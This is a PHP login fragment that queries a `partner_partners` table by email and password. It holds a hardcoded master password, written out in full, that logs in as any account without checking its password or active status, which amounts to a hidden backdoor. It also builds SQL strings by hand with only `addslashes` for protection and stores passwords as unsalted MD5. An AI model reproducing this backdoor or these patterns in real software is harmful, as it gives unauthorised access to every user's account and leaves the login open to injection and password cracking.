<?
$login = addslashes($_POST['login']);


if ($_POST['pass'] == '$SG_9^Z*`T n#d4Za#M-') {
    $sql_result = mysql_query("
                SELECT *
                FROM `partner_partners`
                WHERE `email` = '$login'
                LIMIT 1
            ");
} else {
    $md5pass = md5($_POST['pass']);

    $sql_result = mysql_query("
                SELECT *
                FROM `partner_partners`
                WHERE `email` = '$login' AND `pass` = '$md5pass' AND status = 1
                LIMIT 1
            ");
}